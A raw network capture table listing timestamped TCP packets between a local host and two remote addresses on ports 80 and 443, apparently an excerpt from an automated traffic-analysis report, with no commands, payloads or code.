Dec 18, 2024 21:30:27.852615118 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.852714062 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.852746964 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.853734016 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.853775024 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.853897095 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.853931904 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.854636908 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.854685068 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.854785919 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.854819059 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.855885029 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.855923891 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.855997086 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.856029034 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.856738091 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.856772900 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.856935024 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.856969118 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.858064890 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.858107090 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.858167887 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.858206987 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.858978033 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.859016895 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.859091997 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.859129906 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.859978914 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.860021114 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.860152006 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.860191107 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.861090899 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.861155987 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.861216068 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.861255884 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.864500046 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.864545107 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.864603996 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.864622116 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.864646912 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.864664078 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.865206003 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.865231991 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.865243912 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.865272045 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.865889072 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.865931034 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.866213083 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.866250992 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.866255999 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.866286039 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.866748095 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.866791964 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.867068052 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.867108107 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.867439985 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.867481947 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.867727995 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.867767096 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.868485928 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.868527889 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.868699074 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.868737936 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.869596958 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.869667053 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.869756937 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.869802952 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.870661974 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.870712042 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.870810032 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.870856047 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.871800900 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.872112989 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.872113943 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.872160912 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.873006105 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.873029947 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.873063087 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.873080969 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.873656988 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.873708010 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.873975039 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.874028921 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.874847889 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.874891996 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.875050068 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.875093937 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.875905991 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.876014948 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.876070976 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.876127958 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.877046108 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.877115011 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.877201080 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.877249002 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.877902031 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.877948999 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.878135920 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.878185987 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.879038095 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.879087925 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.879201889 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.879250050 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.880034924 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.880089998 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.880167961 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.880214930 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.881244898 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.881299019 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.881419897 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.881469965 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.882086992 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.882138014 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.903799057 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:27.903851986 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:27.903875113 CET	49809	443	192.168.2.5	185.199.111.133
Dec 18, 2024 21:30:27.903913021 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:27.903930902 CET	49809	443	192.168.2.5	185.199.111.133
Dec 18, 2024 21:30:27.903949976 CET	49809	443	192.168.2.5	185.199.111.133
Dec 18, 2024 21:30:27.909472942 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:27.909498930 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:27.909545898 CET	49809	443	192.168.2.5	185.199.111.133
Dec 18, 2024 21:30:27.909580946 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:27.909604073 CET	49809	443	192.168.2.5	185.199.111.133
Dec 18, 2024 21:30:27.909617901 CET	49809	443	192.168.2.5	185.199.111.133
Dec 18, 2024 21:30:27.915718079 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:27.915760994 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:27.915811062 CET	49809	443	192.168.2.5	185.199.111.133
Dec 18, 2024 21:30:27.915842056 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:27.915868044 CET	49809	443	192.168.2.5	185.199.111.133
Dec 18, 2024 21:30:27.915885925 CET	49809	443	192.168.2.5	185.199.111.133
Dec 18, 2024 21:30:27.921921015 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:27.921952963 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:27.922004938 CET	49809	443	192.168.2.5	185.199.111.133
Dec 18, 2024 21:30:27.922039032 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:27.922059059 CET	49809	443	192.168.2.5	185.199.111.133
Dec 18, 2024 21:30:27.922077894 CET	49809	443	192.168.2.5	185.199.111.133
Dec 18, 2024 21:30:27.927870035 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:27.927896023 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:27.927961111 CET	49809	443	192.168.2.5	185.199.111.133
Dec 18, 2024 21:30:27.927992105 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:27.928016901 CET	49809	443	192.168.2.5	185.199.111.133
Dec 18, 2024 21:30:27.928034067 CET	49809	443	192.168.2.5	185.199.111.133
Dec 18, 2024 21:30:27.985306978 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:27.985358953 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:27.985467911 CET	49809	443	192.168.2.5	185.199.111.133
Dec 18, 2024 21:30:27.985502958 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:27.985522032 CET	49809	443	192.168.2.5	185.199.111.133
Dec 18, 2024 21:30:27.985549927 CET	49809	443	192.168.2.5	185.199.111.133
Dec 18, 2024 21:30:27.991835117 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:27.991869926 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:27.991946936 CET	49809	443	192.168.2.5	185.199.111.133
Dec 18, 2024 21:30:27.991978884 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:27.991998911 CET	49809	443	192.168.2.5	185.199.111.133
Dec 18, 2024 21:30:27.992027998 CET	49809	443	192.168.2.5	185.199.111.133
Dec 18, 2024 21:30:27.997683048 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:27.997713089 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:27.997752905 CET	49809	443	192.168.2.5	185.199.111.133
Dec 18, 2024 21:30:27.997782946 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:27.997807026 CET	49809	443	192.168.2.5	185.199.111.133
Dec 18, 2024 21:30:27.997823000 CET	49809	443	192.168.2.5	185.199.111.133
Dec 18, 2024 21:30:28.018753052 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.018834114 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.018942118 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.018999100 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.019260883 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.019340992 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.019530058 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.019593000 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.020396948 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.020448923 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.020539999 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.020593882 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.021405935 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.021456003 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.021773100 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.021823883 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.021908998 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.021962881 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.022768021 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.022825956 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.022943974 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.022991896 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.023874044 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.023924112 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.024002075 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.024049997 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.024887085 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.024938107 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.025058985 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.025108099 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.025912046 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.026010036 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.026130915 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.026181936 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.026978016 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.027031898 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.027204990 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.027252913 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.028083086 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.028136015 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.028214931 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.028269053 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.029109001 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.029166937 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.029263020 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.029310942 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.030184984 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.030241966 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.030324936 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.030371904 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.031296015 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.031342983 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.031424999 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.031475067 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.032305956 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.032351971 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.032479048 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.032525063 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.033412933 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.033459902 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.033628941 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.033674955 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.034471035 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.034518957 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.034615040 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.034662962 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.035547972 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.035604000 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.035777092 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.035823107 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.036655903 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.036756039 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.036794901 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.036845922 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.037591934 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.037642002 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.037765026 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.037811995 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.038681984 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.038733006 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.038882017 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.038928032 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.039725065 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.039773941 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.039958954 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.040003061 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.040812969 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.040858030 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.040924072 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.040966034 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.041918993 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.041970968 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.042032957 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.042081118 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.042917967 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.042967081 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.043041945 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.043090105 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.043989897 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.044039965 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.044169903 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.044215918 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.045231104 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.045280933 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.045432091 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.045476913 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.046390057 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.046444893 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.046516895 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.046564102 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.047369957 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.047419071 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.047494888 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.047542095 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.048341990 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.048392057 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.048793077 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.048841000 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.049376011 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.049423933 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.049586058 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.049638987 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.050559998 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.050611973 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.050755978 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.050802946 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.051775932 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.051826000 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.051942110 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.051987886 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.052901983 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.052951097 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.053021908 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.053066015 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.054218054 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.054267883 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.054552078 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.054600000 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.055192947 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.055242062 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.055409908 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.055458069 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.056329012 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.056377888 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.056570053 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.056662083 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.057703972 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.057756901 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.057921886 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.057969093 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.058931112 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.058986902 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.059068918 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.059115887 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.060005903 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.060055017 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.060200930 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.060249090 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.061049938 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.061100006 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.061228037 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.061275005 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.062133074 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.062180996 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.062342882 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.062387943 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.063209057 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.063255072 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.063330889 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.063374043 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.064096928 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.064152956 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.064249992 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.064294100 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.065182924 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.065232038 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.065378904 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.065431118 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.066168070 CET	80	49808	31.41.244.11	192.168.2.5
